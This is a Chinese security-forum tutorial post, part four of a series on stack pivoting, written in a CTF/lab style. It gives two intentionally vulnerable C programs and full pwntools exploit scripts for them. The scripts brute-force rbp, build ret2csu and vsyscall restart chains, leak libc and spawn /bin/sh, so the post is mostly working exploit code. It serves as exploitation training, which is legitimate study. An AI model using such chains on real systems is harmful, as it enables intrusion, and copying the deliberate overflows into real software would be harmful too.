-
-
[原创]钉子户的迁徙之路(四)
-
2024-5-14 08:43 3868
-
说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm
钉子户的迁徙之路(二):https://bbs.kanxue.com/thread-281650.htm
钉子户的迁徙之路(三):https://bbs.kanxue.com/thread-281688.htm
10.爆栈之术(question_11)
前面只有涉及到栈的题目中,我们的漏洞都是能覆盖到返回地址,那么如果我们无法覆盖返回地址,只能覆盖 bp 该如何呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char b[0x80] ; puts ( "input:" ); read(0,b,0x88); //puts("byebye!"); return 0; } int main(){ int x; init_func(); dofunc(); x=200; return 0; } //gcc migration_15.c -fno-stack-protector -no-pie -o migration_15_x64 |
此时,我们通过爆破rbp
的最后一个字节,利用在栈上布置的栈帧来实现ROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | from pwn import * import duchao_pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' duchao_pwn_script.init_pwn_linux(pwn_arch) pwnfile = './migration_15_x64' # io = process(pwnfile) # io = remote('', ) elf = ELF(pwnfile) rop = ROP(pwnfile) libcfile = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libcfile) context.binary = pwnfile deadbeef = 0xdeadbeef read_got = elf.got[ "read" ] read_sym = elf.symbols[ "read" ] puts_sym = elf.symbols[ 'puts' ] leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] rep_func = elf.symbols[ 'dofunc' ] csu_front_addr = 0x401248 mov_r13_rsi = 0x401220 xor_rbx = 0x401243 pop_rbx = 0x0401262 pop_rbp = pop_rbx + 1 pop_r12 = pop_rbp + 1 pop_r13 = pop_r12 + 2 pop_r14 = pop_r13 + 2 pop_rsi_r15_ret = pop_r14 + 1 pop_r15 = pop_r14 + 2 pop_rdi_ret = pop_r15 + 1 ret = pop_r15 + 2 leave_ret = 0x4011D6 call_read_addr_0 = 0x4011BB # lea rax, [rbp+buf] call_read_addr_1 = call_read_addr_0 + 4 # set rdx call_read_addr_2 = call_read_addr_1 + 5 # set rsi = rax call_read_addr_3 = call_read_addr_2 + 3 # set rdi = 0 call_read_addr_4 = call_read_addr_3 + 5 # call read call_read_addr = call_read_addr_0 target1_rbp = elf.bss() + 0x500 addr_tmp = target1_rbp + 0x100 next_rbp_addr = target1_rbp + 0x300 bin_sh_addr = next_rbp_addr + 0x200 padding2rbp = 0x80 nead_padding2rbp = 0x10 call_read_len = 0x20 stack_over_flow = call_read_len - padding2rbp leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] # 本题目栈溢出没有覆盖 rip ,需要使用 ret2csu 爆栈之术, # 由于本程序 gcc 版本为新版本,所以可以使用 ret2csu_0x20 爆栈之术 # 如果 gcc 版本为老版本,那么必须使用 ret2csu_0x30 爆栈之术 # ret2csu_0x30 使用需要在 bss 段上或者知道栈地址,并且由于需要栈帧过长,一般来说较难使用 # 输入的长度(含覆盖 rbp 的长度)至少为 0x20(0x30) # 当然,为了增加成功率,建议将输入长度适当增加,本题中为 0x88 # 这种方法最重要的是第一步、第二步, # 使用 0x20 还是 0x30 取决于第一步 # 第二步主要是根据选择更改 payload # 之后的攻击就是常规步骤,本题中选在现迁移再攻击 # 注意:因为是爆破所以可能出现过了第一、二步仍然不同的情况,此时继续爆破即可 for i in range ( 10 ): try : io = process(pwnfile) rbp_1 = target1_rbp # 第一步:爆破栈的最后一位 ret2csu_0x20 爆栈之术 payload = p64(call_read_addr_4) + p64(ret) * 2 payload = p64(ret) * ((padding2rbp - len (payload)) / / 8 ) + payload + b "\x00" #pause() sleep( 0.5 ) delimiter = 'input:\n' # duchao_pwn_script.dbg(io) ru(delimiter) s(payload) # 第二步:使用 call read 覆写栈生成 ret2csu_0x20 爆栈之术 ,老版本要用 ret2csu_0x30 爆栈之术,第一步就需要修改 sleep( 0.5 ) # pause() payload_ret2csu_0x20 = p64(pop_r14) + p64( 0x600 ) + p64(read_got) + p64(mov_r13_rsi) # payload_ret2csu_0x30 = p64(pop_r12) + p64(read_got) + p64(0x600) + p64(rsi) + p64(0) + p64(xor_rbx) payload = p64(ret) * ((padding2rbp - len (payload_ret2csu_0x20)) / / 8 + 1 ) + payload_ret2csu_0x20 s(payload) # 如果爆破成功,就随意蹂躏程序了,现迁移到 bss 段再进行进攻 # pause() # duchao_pwn_script.dbg(io) sleep( 0.5 ) payload = p64(ret) * 0x40 call_func = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : rbp_1, 'arg3' : 0x100 } payload = payload + duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = rbp_1 ,gcc_ver = 'new' ) + p64(leave_ret) s(payload) # duchao_pwn_script.dbg(io) # pause() sleep( 0.5 ) call_func = { 'func_addr' :read_got , 'arg1' : 0 , 'arg2' : next_rbp_addr, 'arg3' : 0x100 } p1 = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = next_rbp_addr ,gcc_ver = 'new' ) payload_final = flat([ret , pop_rdi_ret , leak_func_got , puts_sym ]) + p1 + p64(leave_ret) s(payload_final) leak_func_addr = u64(r( 6 ).ljust( 8 , b '\x00' )) # 不同接受代码接受数量不同 print ( hex (leak_func_addr)) # 以下代码为查找system及/bin/sh的地址 system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr, path = libcfile) print ( "system addr is:" , hex (system_addr)) print ( "bin addr is :" , hex (binsh_addr)) libc_base_addr = system_addr - libc.symbols[ "system" ] open_addr = libc_base_addr + libc.symbols[ "open" ] write_addr = libc_base_addr + libc.symbols[ "write" ] print ( "libc_base_addr is :" , hex (libc_base_addr)) print ( "open addr is :" , hex (open_addr)) # pause() sleep( 0.5 ) # duchao_pwn_script.dbg(io) payload = flat([ret , ret , pop_rdi_ret , binsh_addr , system_addr ]) s(payload) itr() except : pass |
11.start
重启大法(question_12)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> int init_func(){ setvbuf (stdin,0,2,0); setvbuf (stdout,0,2,0); setvbuf (stderr,0,2,0); return 0; } int dofunc(){ char b[0x18] ; puts ( "input:" ); read(0,b,0x20); //puts("byebye!"); return 0; } int main(){ int x; init_func(); dofunc(); x=200; return 0; } //gcc migration_16.c -fno-stack-protector -no-pie -o migration_16_x64 |
此时只覆盖rbp
,并且没有泄露程序,只是简单利用爆栈是无法攻击的,需要利用某些方式让程序重新启动。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | from pwn import * import duchao_pwn_script from sys import argv import argparse s = lambda data: io.send(data) sa = lambda delim, data: io.sendafter(delim, data) sl = lambda data: io.sendline(data) sla = lambda delim, data: io.sendlineafter(delim, data) r = lambda num = 4096 : io.recv(num) ru = lambda delims, drop = True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data: u32(data.ljust( 4 , '\0' )) uu64 = lambda data: u64(data.ljust( 8 , '\0' )) leak = lambda name, addr: log.success( '{} = {:#x}' . format (name, addr)) if __name__ = = '__main__' : pwn_arch = 'amd64' duchao_pwn_script.init_pwn_linux(pwn_arch) pwnfile = './migration_17_x64' # io = remote('', ) elf = ELF(pwnfile) rop = ROP(pwnfile) context.binary = pwnfile libcfile = "/home/duchao/git/glibcdb/libs/2.27-3ubuntu1_amd64/libc-2.27.so" libc = ELF(libcfile) deadbeef = 0xdeadbeef read_got = elf.got[ "read" ] read_sym = elf.symbols[ "read" ] read_offset = read_sym + 0x4000 leak_func_name = '__libc_start_main' leak_func_got = elf.got[leak_func_name] # call_read_addr_0 = 0x51DE # lea rax, [rbp+buf] # call_read_addr_1 = call_read_addr_0 + 4 # set rdx # call_read_addr_2 = call_read_addr_1 + 5 # set rsi = rax # call_read_addr_3 = call_read_addr_2 + 3 # set rdi = 0 # call_read_addr_4 = call_read_addr_3 + 5 # call read # call_read_addr = call_read_addr_4 vsyscall_ret_addr = 0xFFFFFFFFFF600000 main_offset = 0x1200 + 0x4000 do_func_offset = 0x11D7 + 0x4000 start_offset = 0x5080 start_offset_2 = 0x5086 start_offset_3 = 0x5089 start_offset_4 = 0x508A start_offset_5 = 0x508D start_offset_6 = 0x5091 start_offset_7 = 0x5092 start_offset_8 = 0x5093 libc_start_main_out = 0x5c4b for i in range ( 1 ): try : # 首先泄露文件地址 io = process(pwnfile) # duchao_pwn_script.dbg(io) payload = b "a" * 0x10 + p16(start_offset& 0xffff ) s(payload) pause() payload = b "a" * ( 0x10 ) + p64(vsyscall_ret_addr) + p16(start_offset& 0xffff ) s(payload) pause() payload = b "a" * ( 0x10 ) + p64(vsyscall_ret_addr) * 2 + p16(libc_start_main_out) s(payload) ru( "transferring control: " ) file_base_addr = u64(r( 6 ).ljust( 8 , b '\x00' )) - 0x1080 print ( "file_base_addr is :" , hex (file_base_addr)) pop_rdi_addr = file_base_addr + 0x1283 ret_addr = file_base_addr + 0x1284 main_addr = file_base_addr + 0x11FB start_addr = 0x1080 + file_base_addr # 然后再泄露libc地址 duchao_pwn_script.dbg(io, "b system" ) # pause() payload = b "a" * ( 0x10 ) + p64(start_addr) s(payload) pause() payload = b "a" * ( 0x10 ) + p64(vsyscall_ret_addr) * 2 + p64(start_addr) s(payload) pause() payload = b "a" * ( 0x10 ) + p64(vsyscall_ret_addr) * 2 + p16(libc_start_main_out) s(payload) ru( "transferring control: " ) leak_func_name = "__libc_start_main" leak_func_addr = u64(r( 6 ).ljust( 8 , b '\x00' )) - 231 print ( hex (leak_func_addr)) system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr,path = libcfile) addr_name_list = [ 'system' , 'binsh' ] for i in addr_name_list: exec ( "print('{}_addr is :',hex({}_addr))" . format (i, i)) libc_base_addr = system_addr - libc.sym[ "system" ] execve_addr = libc_base_addr + libc.sym[ "execve" ] # 这里是为了堆栈平衡执行system pause() payload = b "a" * ( 0x10 ) + p64(main_addr) s(payload) pause() payload = b "a" * ( 0x10 ) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr) s(payload) itr() except : pass |
12.总结
上面可以看出,栈迁移作用还是非常大的,但是,它对的前提是非常苛刻的:有确定的迁移地址,一般来说满足情况有以下几种。
- 关闭
PIE
。此时,程序的地址可以确定,bss
段是比较好的迁移位置 - 泄露地址。这种需要题目有泄露的情况才可以操作,不论是栈地址、
libc
地址、file
地址都可能成为栈迁移的选择。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
看原图
赞赏
雪币:
留言: